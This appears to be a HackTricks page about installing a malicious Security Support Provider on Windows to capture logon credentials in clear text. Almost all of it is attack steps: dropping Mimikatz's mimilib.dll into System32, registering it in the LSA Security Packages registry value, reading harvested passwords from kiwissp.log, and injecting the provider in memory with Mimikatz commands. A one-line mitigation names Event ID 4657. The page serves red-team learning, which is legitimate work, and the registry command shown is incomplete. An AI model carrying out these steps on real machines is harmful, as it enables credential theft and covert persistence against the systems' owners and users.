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Custom SSP ​

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Custom SSP ​

Learn what is a SSP (Security Support Provider) here.
You can create you own SSP to capture in clear text the credentials used to access the machine.

Mimilib ​

You can use the mimilib.dll binary provided by Mimikatz. This will log inside a file all the credentials in clear text.
Drop the dll in C:\Windows\System32\
Get a list existing LSA Security Packages:

attacker@target
bash
PS C:\> reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"

HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa
    Security Packages    REG_MULTI_SZ    kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u

Add mimilib.dll to the Security Support Provider list (Security Packages):

powershell
reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages"

And after a reboot all credentials can be found in clear text in C:\Windows\System32\kiwissp.log

In memory ​

You can also inject this in memory directly using Mimikatz (notice that it could be a little bit unstable/not working):

powershell
privilege::debug
misc::memssp

This won't survive reboots.

Mitigation ​

Event ID 4657 - Audit creation/change of HKLM:\System\CurrentControlSet\Control\Lsa\SecurityPackages

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks: